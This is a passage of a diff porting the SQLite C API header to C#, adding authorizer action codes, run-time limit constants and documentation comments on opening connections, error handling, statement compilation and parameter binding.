SQLITE_IGNORE 2 /* Don't allow access, but don't generate an error */ + const int SQLITE_DENY = 1; + const int SQLITE_IGNORE = 2; + + /* + ** CAPI3REF: Authorizer Action Codes {H12550} + ** + ** The [sqlite3_set_authorizer()] interface registers a callback function + ** that is invoked to authorize certain SQL statement actions. The + ** second parameter to the callback is an integer code that specifies + ** what action is being authorized. These are the integer action codes that + ** the authorizer callback may be passed. + ** + ** These action code values signify what kind of operation is to be + ** authorized. The 3rd and 4th parameters to the authorization + ** callback function will be parameters or NULL depending on which of these + ** codes is used as the second parameter. The 5th parameter to the + ** authorizer callback is the name of the database ("main", "temp", + ** etc.) if applicable. The 6th parameter to the authorizer callback + ** is the name of the inner-most trigger or view that is responsible for + ** the access attempt or NULL if this access attempt is directly from + ** top-level SQL code. + ** + ** Requirements: + ** [H12551] [H12552] [H12553] [H12554] + */ + /******************************************* 3rd ************ 4th ***********/ + //#define SQLITE_CREATE_INDEX 1 /* Index Name Table Name */ + //#define SQLITE_CREATE_TABLE 2 /* Table Name NULL */ + //#define SQLITE_CREATE_TEMP_INDEX 3 /* Index Name Table Name */ + //#define SQLITE_CREATE_TEMP_TABLE 4 /* Table Name NULL */ + //#define SQLITE_CREATE_TEMP_TRIGGER 5 /* Trigger Name Table Name */ + //#define SQLITE_CREATE_TEMP_VIEW 6 /* View Name NULL */ + //#define SQLITE_CREATE_TRIGGER 7 /* Trigger Name Table Name */ + //#define SQLITE_CREATE_VIEW 8 /* View Name NULL */ + //#define SQLITE_DELETE 9 /* Table Name NULL */ + //#define SQLITE_DROP_INDEX 10 /* Index Name Table Name */ + //#define SQLITE_DROP_TABLE 11 /* Table Name NULL */ + //#define SQLITE_DROP_TEMP_INDEX 12 /* Index Name Table Name */ + //#define SQLITE_DROP_TEMP_TABLE 13 /* Table Name NULL */ + //#define SQLITE_DROP_TEMP_TRIGGER 14 /* Trigger Name Table Name */ + //#define SQLITE_DROP_TEMP_VIEW 15 /* View Name NULL */ + //#define SQLITE_DROP_TRIGGER 16 /* Trigger Name Table Name */ + //#define SQLITE_DROP_VIEW 17 /* View Name NULL */ + //#define SQLITE_INSERT 18 /* Table Name NULL */ + //#define SQLITE_PRAGMA 19 /* Pragma Name 1st arg or NULL */ + //#define SQLITE_READ 20 /* Table Name Column Name */ + //#define SQLITE_SELECT 21 /* NULL NULL */ + //#define SQLITE_TRANSACTION 22 /* Operation NULL */ + //#define SQLITE_UPDATE 23 /* Table Name Column Name */ + //#define SQLITE_ATTACH 24 /* Filename NULL */ + //#define SQLITE_DETACH 25 /* Database Name NULL */ + //#define SQLITE_ALTER_TABLE 26 /* Database Name Table Name */ + //#define SQLITE_REINDEX 27 /* Index Name NULL */ + //#define SQLITE_ANALYZE 28 /* Table Name NULL */ + //#define SQLITE_CREATE_VTABLE 29 /* Table Name Module Name */ + //#define SQLITE_DROP_VTABLE 30 /* Table Name Module Name */ + //#define SQLITE_FUNCTION 31 /* NULL Function Name */ + //#define SQLITE_SAVEPOINT 32 /* Operation Savepoint Name */ + //#define SQLITE_COPY 0 /* No longer used */ + const int SQLITE_CREATE_INDEX = 1; + const int SQLITE_CREATE_TABLE = 2; + const int SQLITE_CREATE_TEMP_INDEX = 3; + const int SQLITE_CREATE_TEMP_TABLE = 4; + const int SQLITE_CREATE_TEMP_TRIGGER = 5; + const int SQLITE_CREATE_TEMP_VIEW = 6; + const int SQLITE_CREATE_TRIGGER = 7; + const int SQLITE_CREATE_VIEW = 8; + const int SQLITE_DELETE = 9; + const int SQLITE_DROP_INDEX = 10; + const int SQLITE_DROP_TABLE = 11; + const int SQLITE_DROP_TEMP_INDEX = 12; + const int SQLITE_DROP_TEMP_TABLE = 13; + const int SQLITE_DROP_TEMP_TRIGGER = 14; + const int SQLITE_DROP_TEMP_VIEW = 15; + const int SQLITE_DROP_TRIGGER = 16; + const int SQLITE_DROP_VIEW = 17; + const int SQLITE_INSERT = 18; + const int SQLITE_PRAGMA = 19; + const int SQLITE_READ = 20; + const int SQLITE_SELECT = 21; + const int SQLITE_TRANSACTION = 22; + const int SQLITE_UPDATE = 23; + const int SQLITE_ATTACH = 24; + const int SQLITE_DETACH = 25; + const int SQLITE_ALTER_TABLE = 26; + const int SQLITE_REINDEX = 27; + const int SQLITE_ANALYZE = 28; + const int SQLITE_CREATE_VTABLE = 29; + const int SQLITE_DROP_VTABLE = 30; + const int SQLITE_FUNCTION = 31; + const int SQLITE_SAVEPOINT = 32; + const int SQLITE_COPY = 0; + + /* + ** CAPI3REF: Tracing And Profiling Functions {H12280} + ** EXPERIMENTAL + ** + ** These routines register callback functions that can be used for + ** tracing and profiling the execution of SQL statements. + ** + ** The callback function registered by sqlite3_trace() is invoked at + ** various times when an SQL statement is being run by [sqlite3_step()]. + ** The callback returns a UTF-8 rendering of the SQL statement text + ** as the statement first begins executing. Additional callbacks occur + ** as each triggered subprogram is entered. The callbacks for triggers + ** contain a UTF-8 SQL comment that identifies the trigger. + ** + ** The callback function registered by sqlite3_profile() is invoked + ** as each SQL statement finishes. The profile callback contains + ** the original statement text and an estimate of wall-clock time + ** of how long that statement took to run. + ** + ** Requirements: + ** [H12281] [H12282] [H12283] [H12284] [H12285] [H12287] [H12288] [H12289] + ** [H12290] + */ + //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_trace(sqlite3*, void(*xTrace)(void*,const char*), void*); + //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_profile(sqlite3*, + // void(*xProfile)(void*,const char*,sqlite3_uint64), void*); + + /* + ** CAPI3REF: Query Progress Callbacks {H12910} + ** + ** This routine configures a callback function - the + ** progress callback - that is invoked periodically during long + ** running calls to [sqlite3_exec()], [sqlite3_step()] and + ** [sqlite3_get_table()]. An example use for this + ** interface is to keep a GUI updated during a large query. + ** + ** If the progress callback returns non-zero, the operation is + ** interrupted. This feature can be used to implement a + ** "Cancel" button on a GUI progress dialog box. + ** + ** The progress handler must not do anything that will modify + ** the database connection that invoked the progress handler. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** Requirements: + ** [H12911] [H12912] [H12913] [H12914] [H12915] [H12916] [H12917] [H12918] + ** + */ + //SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*); + + /* + ** CAPI3REF: Opening A New Database Connection {H12700} + ** + ** These routines open an SQLite database file whose name is given by the + ** filename argument. The filename argument is interpreted as UTF-8 for + ** sqlite3_open() and sqlite3_open_v2() and as UTF-16 in the native byte + ** order for sqlite3_open16(). A [database connection] handle is usually + ** returned in *ppDb, even if an error occurs. The only exception is that + ** if SQLite is unable to allocate memory to hold the [sqlite3] object, + ** a NULL will be written into *ppDb instead of a pointer to the [sqlite3] + ** object. If the database is opened (and/or created) successfully, then + ** [SQLITE_OK] is returned. Otherwise an [error code] is returned. The + ** [sqlite3_errmsg()] or [sqlite3_errmsg16()] routines can be used to obtain + ** an English language description of the error. + ** + ** The default encoding for the database will be UTF-8 if + ** sqlite3_open() or sqlite3_open_v2() is called and + ** UTF-16 in the native byte order if sqlite3_open16() is used. + ** + ** Whether or not an error occurs when it is opened, resources + ** associated with the [database connection] handle should be released by + ** passing it to [sqlite3_close()] when it is no longer required. + ** + ** The sqlite3_open_v2() interface works like sqlite3_open() + ** except that it accepts two additional parameters for additional control + ** over the new database connection. The flags parameter can take one of + ** the following three values, optionally combined with the + ** [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags: + ** + **
    + **
    [SQLITE_OPEN_READONLY]
    + **
    The database is opened in read-only mode. If the database does not + ** already exist, an error is returned.
    + ** + **
    [SQLITE_OPEN_READWRITE]
    + **
    The database is opened for reading and writing if possible, or reading + ** only if the file is write protected by the operating system. In either + ** case the database must already exist, otherwise an error is returned.
    + ** + **
    [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]
    + **
    The database is opened for reading and writing, and is creates it if + ** it does not already exist. This is the behavior that is always used for + ** sqlite3_open() and sqlite3_open16().
    + **
    + ** + ** If the 3rd parameter to sqlite3_open_v2() is not one of the + ** combinations shown above or one of the combinations shown above combined + ** with the [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags, + ** then the behavior is undefined. + ** + ** If the [SQLITE_OPEN_NOMUTEX] flag is set, then the database connection + ** opens in the multi-thread [threading mode] as long as the single-thread + ** mode has not been set at compile-time or start-time. If the + ** [SQLITE_OPEN_FULLMUTEX] flag is set then the database connection opens + ** in the serialized [threading mode] unless single-thread was + ** previously selected at compile-time or start-time. + ** + ** If the filename is ":memory:", then a private, temporary in-memory database + ** is created for the connection. This in-memory database will vanish when + ** the database connection is closed. Future versions of SQLite might + ** make use of additional special filenames that begin with the ":" character. + ** It is recommended that when a database filename actually does begin with + ** a ":" character you should prefix the filename with a pathname such as + ** "./" to avoid ambiguity. + ** + ** If the filename is an empty string, then a private, temporary + ** on-disk database will be created. This private database will be + ** automatically deleted as soon as the database connection is closed. + ** + ** The fourth parameter to sqlite3_open_v2() is the name of the + ** [sqlite3_vfs] object that defines the operating system interface that + ** the new database connection should use. If the fourth parameter is + ** a NULL pointer then the default [sqlite3_vfs] object is used. + ** + ** Note to Windows users: The encoding used for the filename argument + ** of sqlite3_open() and sqlite3_open_v2() must be UTF-8, not whatever + ** codepage is currently defined. Filenames containing international + ** characters must be converted to UTF-8 prior to passing them into + ** sqlite3_open() or sqlite3_open_v2(). + ** + ** Requirements: + ** [H12701] [H12702] [H12703] [H12704] [H12706] [H12707] [H12709] [H12711] + ** [H12712] [H12713] [H12714] [H12717] [H12719] [H12721] [H12723] + */ + //SQLITE_API int sqlite3_open( + // const char *filename, /* Database filename (UTF-8) */ + // sqlite3 **ppDb /* OUT: SQLite db handle */ + //); + //SQLITE_API int sqlite3_open16( + // const void *filename, /* Database filename (UTF-16) */ + // sqlite3 **ppDb /* OUT: SQLite db handle */ + //); + //SQLITE_API int sqlite3_open_v2( + // const char *filename, /* Database filename (UTF-8) */ + // sqlite3 **ppDb, /* OUT: SQLite db handle */ + // int flags, /* Flags */ + // const char *zVfs /* Name of VFS module to use */ + //); + + /* + ** CAPI3REF: Error Codes And Messages {H12800} + ** + ** The sqlite3_errcode() interface returns the numeric [result code] or + ** [extended result code] for the most recent failed sqlite3_* API call + ** associated with a [database connection]. If a prior API call failed + ** but the most recent API call succeeded, the return value from + ** sqlite3_errcode() is undefined. The sqlite3_extended_errcode() + ** interface is the same except that it always returns the + ** [extended result code] even when extended result codes are + ** disabled. + ** + ** The sqlite3_errmsg() and sqlite3_errmsg16() return English-language + ** text that describes the error, as either UTF-8 or UTF-16 respectively. + ** Memory to hold the error message string is managed internally. + ** The application does not need to worry about freeing the result. + ** However, the error string might be overwritten or deallocated by + ** subsequent calls to other SQLite interface functions. + ** + ** When the serialized [threading mode] is in use, it might be the + ** case that a second error occurs on a separate thread in between + ** the time of the first error and the call to these interfaces. + ** When that happens, the second error will be reported since these + ** interfaces always report the most recent result. To avoid + ** this, each thread can obtain exclusive use of the [database connection] D + ** by invoking [sqlite3_mutex_enter]([sqlite3_db_mutex](D)) before beginning + ** to use D and invoking [sqlite3_mutex_leave]([sqlite3_db_mutex](D)) after + ** all calls to the interfaces listed here are completed. + ** + ** If an interface fails with SQLITE_MISUSE, that means the interface + ** was invoked incorrectly by the application. In that case, the + ** error code and message may or may not be set. + ** + ** Requirements: + ** [H12801] [H12802] [H12803] [H12807] [H12808] [H12809] + */ + //SQLITE_API int sqlite3_errcode(sqlite3 *db); + //SQLITE_API int sqlite3_extended_errcode(sqlite3 *db); + //SQLITE_API const char *sqlite3_errmsg(sqlite3*); + //SQLITE_API const void *sqlite3_errmsg16(sqlite3*); + + /* + ** CAPI3REF: SQL Statement Object {H13000} + ** KEYWORDS: {prepared statement} {prepared statements} + ** + ** An instance of this object represents a single SQL statement. + ** This object is variously known as a "prepared statement" or a + ** "compiled SQL statement" or simply as a "statement". + ** + ** The life of a statement object goes something like this: + ** + **
      + **
    1. Create the object using [sqlite3_prepare_v2()] or a related + ** function. + **
    2. Bind values to [host parameters] using the sqlite3_bind_*() + ** interfaces. + **
    3. Run the SQL by calling [sqlite3_step()] one or more times. + **
    4. Reset the statement using [sqlite3_reset()] then go back + ** to step 2. Do this zero or more times. + **
    5. Destroy the object using [sqlite3_finalize()]. + **
    + ** + ** Refer to documentation on individual methods above for additional + ** information. + */ + //typedef struct sqlite3_stmt sqlite3_stmt; + + /* + ** CAPI3REF: Run-time Limits {H12760} + ** + ** This interface allows the size of various constructs to be limited + ** on a connection by connection basis. The first parameter is the + ** [database connection] whose limit is to be set or queried. The + ** second parameter is one of the [limit categories] that define a + ** class of constructs to be size limited. The third parameter is the + ** new limit for that construct. The function returns the old limit. + ** + ** If the new limit is a negative number, the limit is unchanged. + ** For the limit category of SQLITE_LIMIT_XYZ there is a + ** [limits | hard upper bound] + ** set by a compile-time C preprocessor macro named + ** [limits | SQLITE_MAX_XYZ]. + ** (The "_LIMIT_" in the name is changed to "_MAX_".) + ** Attempts to increase a limit above its hard upper bound are + ** silently truncated to the hard upper limit. + ** + ** Run time limits are intended for use in applications that manage + ** both their own internal database and also databases that are controlled + ** by untrusted external sources. An example application might be a + ** web browser that has its own databases for storing history and + ** separate databases controlled by JavaScript applications downloaded + ** off the Internet. The internal databases can be given the + ** large, default limits. Databases managed by external sources can + ** be given much smaller limits designed to prevent a denial of service + ** attack. Developers might also want to use the [sqlite3_set_authorizer()] + ** interface to further control untrusted SQL. The size of the database + ** created by an untrusted script can be contained using the + ** [max_page_count] [PRAGMA]. + ** + ** New run-time limit categories may be added in future releases. + ** + ** Requirements: + ** [H12762] [H12766] [H12769] + */ + //SQLITE_API int sqlite3_limit(sqlite3*, int id, int newVal); + + /* + ** CAPI3REF: Run-Time Limit Categories {H12790} + ** KEYWORDS: {limit category} {limit categories} + ** + ** These constants define various performance limits + ** that can be lowered at run-time using [sqlite3_limit()]. + ** The synopsis of the meanings of the various limits is shown below. + ** Additional information is available at [limits | Limits in SQLite]. + ** + **
    + **
    SQLITE_LIMIT_LENGTH
    + **
    The maximum size of any string or BLOB or table row.
    + ** + **
    SQLITE_LIMIT_SQL_LENGTH
    + **
    The maximum length of an SQL statement.
    + ** + **
    SQLITE_LIMIT_COLUMN
    + **
    The maximum number of columns in a table definition or in the + ** result set of a [SELECT] or the maximum number of columns in an index + ** or in an ORDER BY or GROUP BY clause.
    + ** + **
    SQLITE_LIMIT_EXPR_DEPTH
    + **
    The maximum depth of the parse tree on any expression.
    + ** + **
    SQLITE_LIMIT_COMPOUND_SELECT
    + **
    The maximum number of terms in a compound SELECT statement.
    + ** + **
    SQLITE_LIMIT_VDBE_OP
    + **
    The maximum number of instructions in a virtual machine program + ** used to implement an SQL statement.
    + ** + **
    SQLITE_LIMIT_FUNCTION_ARG
    + **
    The maximum number of arguments on a function.
    + ** + **
    SQLITE_LIMIT_ATTACHED
    + **
    The maximum number of [ATTACH | attached databases].
    + ** + **
    SQLITE_LIMIT_LIKE_PATTERN_LENGTH
    + **
    The maximum length of the pattern argument to the [LIKE] or + ** [GLOB] operators.
    + ** + **
    SQLITE_LIMIT_VARIABLE_NUMBER
    + **
    The maximum number of variables in an SQL statement that can + ** be bound.
    + **
    + */ + //#define SQLITE_LIMIT_LENGTH 0 + //#define SQLITE_LIMIT_SQL_LENGTH 1 + //#define SQLITE_LIMIT_COLUMN 2 + //#define SQLITE_LIMIT_EXPR_DEPTH 3 + //#define SQLITE_LIMIT_COMPOUND_SELECT 4 + //#define SQLITE_LIMIT_VDBE_OP 5 + //#define SQLITE_LIMIT_FUNCTION_ARG 6 + //#define SQLITE_LIMIT_ATTACHED 7 + //#define SQLITE_LIMIT_LIKE_PATTERN_LENGTH 8 + //#define SQLITE_LIMIT_VARIABLE_NUMBER 9 + public const int SQLITE_LIMIT_LENGTH = 0; + public const int SQLITE_LIMIT_SQL_LENGTH = 1; + public const int SQLITE_LIMIT_COLUMN = 2; + public const int SQLITE_LIMIT_EXPR_DEPTH = 3; + public const int SQLITE_LIMIT_COMPOUND_SELECT = 4; + public const int SQLITE_LIMIT_VDBE_OP = 5; + public const int SQLITE_LIMIT_FUNCTION_ARG = 6; + public const int SQLITE_LIMIT_ATTACHED = 7; + public const int SQLITE_LIMIT_LIKE_PATTERN_LENGTH = 8; + public const int SQLITE_LIMIT_VARIABLE_NUMBER = 9; + + /* + ** CAPI3REF: Compiling An SQL Statement {H13010} + ** KEYWORDS: {SQL statement compiler} + ** + ** To execute an SQL query, it must first be compiled into a byte-code + ** program using one of these routines. + ** + ** The first argument, "db", is a [database connection] obtained from a + ** prior successful call to [sqlite3_open()], [sqlite3_open_v2()] or + ** [sqlite3_open16()]. The database connection must not have been closed. + ** + ** The second argument, "zSql", is the statement to be compiled, encoded + ** as either UTF-8 or UTF-16. The sqlite3_prepare() and sqlite3_prepare_v2() + ** interfaces use UTF-8, and sqlite3_prepare16() and sqlite3_prepare16_v2() + ** use UTF-16. + ** + ** If the nByte argument is less than zero, then zSql is read up to the + ** first zero terminator. If nByte is non-negative, then it is the maximum + ** number of bytes read from zSql. When nByte is non-negative, the + ** zSql string ends at either the first '\000' or '\u0000' character or + ** the nByte-th byte, whichever comes first. If the caller knows + ** that the supplied string is nul-terminated, then there is a small + ** performance advantage to be gained by passing an nByte parameter that + ** is equal to the number of bytes in the input string including + ** the nul-terminator bytes. + ** + ** If pzTail is not NULL then *pzTail is made to point to the first byte + ** past the end of the first SQL statement in zSql. These routines only + ** compile the first statement in zSql, so *pzTail is left pointing to + ** what remains uncompiled. + ** + ** *ppStmt is left pointing to a compiled [prepared statement] that can be + ** executed using [sqlite3_step()]. If there is an error, *ppStmt is set + ** to NULL. If the input text contains no SQL (if the input is an empty + ** string or a comment) then *ppStmt is set to NULL. + ** The calling procedure is responsible for deleting the compiled + ** SQL statement using [sqlite3_finalize()] after it has finished with it. + ** ppStmt may not be NULL. + ** + ** On success, [SQLITE_OK] is returned, otherwise an [error code] is returned. + ** + ** The sqlite3_prepare_v2() and sqlite3_prepare16_v2() interfaces are + ** recommended for all new programs. The two older interfaces are retained + ** for backwards compatibility, but their use is discouraged. + ** In the "v2" interfaces, the prepared statement + ** that is returned (the [sqlite3_stmt] object) contains a copy of the + ** original SQL text. This causes the [sqlite3_step()] interface to + ** behave a differently in two ways: + ** + **
      + **
    1. + ** If the database schema changes, instead of returning [SQLITE_SCHEMA] as it + ** always used to do, [sqlite3_step()] will automatically recompile the SQL + ** statement and try to run it again. If the schema has changed in + ** a way that makes the statement no longer valid, [sqlite3_step()] will still + ** return [SQLITE_SCHEMA]. But unlike the legacy behavior, [SQLITE_SCHEMA] is + ** now a fatal error. Calling [sqlite3_prepare_v2()] again will not make the + ** error go away. Note: use [sqlite3_errmsg()] to find the text + ** of the parsing error that results in an [SQLITE_SCHEMA] return. + **
    2. + ** + **
    3. + ** When an error occurs, [sqlite3_step()] will return one of the detailed + ** [error codes] or [extended error codes]. The legacy behavior was that + ** [sqlite3_step()] would only return a generic [SQLITE_ERROR] result code + ** and you would have to make a second call to [sqlite3_reset()] in order + ** to find the underlying cause of the problem. With the "v2" prepare + ** interfaces, the underlying reason for the error is returned immediately. + **
    4. + **
    + ** + ** Requirements: + ** [H13011] [H13012] [H13013] [H13014] [H13015] [H13016] [H13019] [H13021] + ** + */ + //SQLITE_API int sqlite3_prepare( + // sqlite3 *db, /* Database handle */ + // const char *zSql, /* SQL statement, UTF-8 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const char **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare_v2( + // sqlite3 *db, /* Database handle */ + // const char *zSql, /* SQL statement, UTF-8 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const char **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare16( + // sqlite3 *db, /* Database handle */ + // const void *zSql, /* SQL statement, UTF-16 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const void **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare16_v2( + // sqlite3 *db, /* Database handle */ + // const void *zSql, /* SQL statement, UTF-16 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const void **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + + /* + ** CAPI3REF: Retrieving Statement SQL {H13100} + ** + ** This interface can be used to retrieve a saved copy of the original + ** SQL text used to create a [prepared statement] if that statement was + ** compiled using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()]. + ** + ** Requirements: + ** [H13101] [H13102] [H13103] + */ + //SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Dynamically Typed Value Object {H15000} + ** KEYWORDS: {protected sqlite3_value} {unprotected sqlite3_value} + ** + ** SQLite uses the sqlite3_value object to represent all values + ** that can be stored in a database table. SQLite uses dynamic typing + ** for the values it stores. Values stored in sqlite3_value objects + ** can be integers, floating point values, strings, BLOBs, or NULL. + ** + ** An sqlite3_value object may be either "protected" or "unprotected". + ** Some interfaces require a protected sqlite3_value. Other interfaces + ** will accept either a protected or an unprotected sqlite3_value. + ** Every interface that accepts sqlite3_value arguments specifies + ** whether or not it requires a protected sqlite3_value. + ** + ** The terms "protected" and "unprotected" refer to whether or not + ** a mutex is held. A internal mutex is held for a protected + ** sqlite3_value object but no mutex is held for an unprotected + ** sqlite3_value object. If SQLite is compiled to be single-threaded + ** (with [SQLITE_THREADSAFE=0] and with [sqlite3_threadsafe()] returning 0) + ** or if SQLite is run in one of reduced mutex modes + ** [SQLITE_CONFIG_SINGLETHREAD] or [SQLITE_CONFIG_MULTITHREAD] + ** then there is no distinction between protected and unprotected + ** sqlite3_value objects and they can be used interchangeably. However, + ** for maximum code portability it is recommended that applications + ** still make the distinction between between protected and unprotected + ** sqlite3_value objects even when not strictly required. + ** + ** The sqlite3_value objects that are passed as parameters into the + ** implementation of [application-defined SQL functions] are protected. + ** The sqlite3_value object returned by + ** [sqlite3_column_value()] is unprotected. + ** Unprotected sqlite3_value objects may only be used with + ** [sqlite3_result_value()] and [sqlite3_bind_value()]. + ** The [sqlite3_value_blob | sqlite3_value_type()] family of + ** interfaces require protected sqlite3_value objects. + */ + //typedef struct Mem sqlite3_value; + + /* + ** CAPI3REF: SQL Function Context Object {H16001} + ** + ** The context in which an SQL function executes is stored in an + ** sqlite3_context object. A pointer to an sqlite3_context object + ** is always first parameter to [application-defined SQL functions]. + ** The application-defined SQL function implementation will pass this + ** pointer through into calls to [sqlite3_result_int | sqlite3_result()], + ** [sqlite3_aggregate_context()], [sqlite3_user_data()], + ** [sqlite3_context_db_handle()], [sqlite3_get_auxdata()], + ** and/or [sqlite3_set_auxdata()]. + */ + //typedef struct sqlite3_context sqlite3_context; + + /* + ** CAPI3REF: Binding Values To Prepared Statements {H13500} + ** KEYWORDS: {host parameter} {host parameters} {host parameter name} + ** KEYWORDS: {SQL parameter} {SQL parameters} {parameter binding} + ** + ** In the SQL strings input to [sqlite3_prepare_v2()] and its variants, + ** literals may be replaced by a [parameter] in one of these forms: + ** + **
      + **
    • ? + **
    • ?NNN + **
    • :VVV + **
    • @VVV + **
    • $VVV + **
    + ** + ** In the parameter forms shown above NNN is an integer literal, + ** and VVV is an alpha-numeric parameter name. The values of these + ** parameters (also called "host parameter names" or "SQL parameters") + ** can be set using the sqlite3_bind_*() routines defined here. + ** + ** The first argument to the sqlite3_bind_*() routines is always + ** a pointer to the [sqlite3_stmt] object returned from + ** [sqlite3_prepare_v2()] or its variants. + ** + ** The second argument is the index of the SQL parameter to be set. + ** The leftmost SQL parameter has an index of 1. When the same named + ** SQL parameter is used more than once, second and subsequent + ** occurrences have the same index as the first occurrence. + ** The index for named parameters can be looked up using the + ** [sqlite3_bind_parameter_index()] API if desired. The index + ** for "?NNN" parameters is the value of NNN. + ** The NNN value must be between 1 and the [sqlite3_limit()] + ** parameter [SQLITE_LIMIT_VARIABLE_NUMBER] (default value: 999). + ** + ** The third argument is the value to bind to the parameter. + ** + ** In those routines that have a fourth argument, its value is the + ** number of bytes in the parameter. To be clear: the value is the + ** number of bytes in the value, not the number of characters. + ** If the fourth parameter is negative, the length of the string is + ** the number of bytes up to the first zero terminator. + ** + ** The fifth argument to sqlite3_bind_blob(), sqlite3_bind_text(), and + ** sqlite3_bind_text16() is a destructor used to dispose of the BLOB or + ** string after SQLite has finished with it. If the fifth argument is + ** the special value [SQLITE_STATIC], then SQLite assumes that the + ** information is in static, unmanaged space and does not need to be freed. + ** If the fifth argument has the value [SQLITE_TRANSIENT], then + ** SQLite makes its own private copy of the data immediately, before + ** the sqlite3_bind_*() routine returns. + ** + ** The sqlite3_bind_zeroblob() routine binds a BLOB of length N that + ** is filled with zeroes. A zeroblob uses a fixed amount of memory + ** (just an integer to hold its size) while it is being processed. + ** Zeroblobs are intended to serve as placeholders for BLOBs whose + ** content is later written using + ** [sqlite3_blob_open | incremental BLOB I/O] routines. + ** A negative value for the zeroblob results in a zero-length BLOB. + ** + ** The sqlite3_bind_*() routines must be called after + ** [sqlite3_prepare_v2()] (and its variants) or [sqlite3_reset()] and + ** before [sqlite3_step()]. + ** Bindings are not cleared by the [sqlite3_reset()] routine. + ** Unbound parameters are interpreted as NULL. + ** + ** These routines return [SQLITE_OK] on success or an error code if + ** anything goes wrong. [SQLITE_RANGE] is returned if the parameter + ** index is out of range. [SQLITE_NOMEM] is returned if malloc() fails. + ** [SQLITE_MISUSE] might be returned if these routines are called on a + ** virtual machine that is the wrong state or which has already been finalized. + ** Detection of misuse is unreliable. Applications should not depend + ** on SQLITE_MISUSE returns. SQLITE_MISUSE is intended to indicate a + ** a logic error in the application. Future versions of SQLite might + ** panic rather than return SQLITE_MISUSE. + ** + ** See also: [sqlite3_bind_parameter_count()], + ** [sqlite3_bind_parameter_name()], and [sqlite3_bind_parameter_index()]. + ** + ** Requirements: + ** [H13506] [H13509] [H13512] [H13515] [H13518] [H13521] [H13524] [H13527] + ** [H13530] [H13533] [H13536] [H13539] [H13542] [H13545] [H13548] [H13551] + ** + */ + //SQLITE_API int sqlite3_bind_blob(sqlite3_stmt*, int, const void*, int n, void(*)(void*)); + //SQLITE_API int sqlite3_bind_double(sqlite3_stmt*, int, double); + //SQLITE_API int sqlite3_bind_int(sqlite3_stmt*, int, int); + //SQLITE_API int sqlite3_bind_int64(sqlite3_stmt*, int, sqlite3_int64); + //SQLITE_API int sqlite3_bind_null(sqlite3_stmt*, int); + //SQLITE_API int sqlite3_bind_text(sqlite3_stmt*, int, const char*, int n, void(*)(void*)); + //SQLITE_API int sqlite3_bind_text16(sqlite3_stmt*, int, const void*, int, void(*)(void*)); + //SQLITE_API int sqlite3_bind_value(sqlite3_stmt*, int, const sqlite3_value*); + //SQLITE_API int sqlite3_bind_zeroblob(sqlite3_stmt*, int, int n); + + /* + ** CAPI3REF: Number Of SQL Parameters {H13600} + ** + ** This routine can be used to find the number of [SQL parameters] + ** in a [prepared statement]. SQL parameters are tokens of the + ** form "?", "?NNN", ":AAA", "$AAA", or "@AAA" that serve as + ** placeholders for values that are [sqlite3_bind_blob | bound] + ** to the parameters at a later time. + ** + ** This routine actually returns the index of the largest (rightmost) + ** parameter. For all forms except ?NNN, this will correspond to the + ** number of unique parameters. If parameters of the ?NNN are used, + ** there may be gaps in the list. + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_name()], and + ** [sqlite3_bind_parameter_index()]. + ** + ** Requirements: + ** [H13601] + */ + //SQLITE_API int sqlite3_bind_parameter_count(sqlite3_stmt*); + + /* + ** CAPI3REF: Name Of A Host Parameter {H13620} + ** + ** This routine returns a pointer to the name of the n-th + ** [SQL parameter] in a [prepared statement]. + ** SQL parameters of the form "?NNN" or ":AAA" or "@AAA" or "$AAA" + ** have a name which is the string "?NNN" or ":AAA" or "@AAA" or "$AAA" + ** respectively. + ** In other words, the initial ":" or "$" or "@" or "?" + ** is included as part of the name. + ** Parameters of the form "?" without a following integer have no name + ** and are also referred to as "anonymous parameters". + ** + ** The first host parameter has an index of 1, not 0. + ** + ** If the value n is out of range or if the n-th parameter is + ** nameless, then NULL is returned. The returned string is + ** always in UTF-8 encoding even if the named parameter was + ** originally specified as UTF-16 in [sqlite3_prepare16()] or + ** [sqlite3_prepare16_v2()]. + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_count()], and + ** [sqlite3_bind_parameter_index()]. + ** + ** Requirements: + ** [H13621] + */ + //SQLITE_API const char *sqlite3_bind_parameter_name(sqlite3_stmt*, int); + + /* + ** CAPI3REF: Index Of A Parameter With A Given Name {H13640} + ** + ** Return the index of an SQL parameter given its name. The + ** index value returned is suitable for use as the second + ** parameter to [sqlite3_bind_blob|sqlite3_bind()]. A zero + ** is returned if no matching parameter is found. The parameter + ** name must be given in UTF-8 even if the original statement + ** was prepared from UTF-16 text using [sqlite3_prepare16_v2()]. + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_count()], and + ** [sqlite3_bind_parameter_index()]. + ** + ** Requirements: + ** [H13641] + */ + //SQLITE_API int sqlite3_bind_parameter_index(sqlite3_stmt*, const char *zName); + + /* + ** CAPI3REF: Reset All Bindings On A Prepared Statement {H13660} + ** + ** Contrary to the intuition of many, [sqlite3_reset()] does not reset + 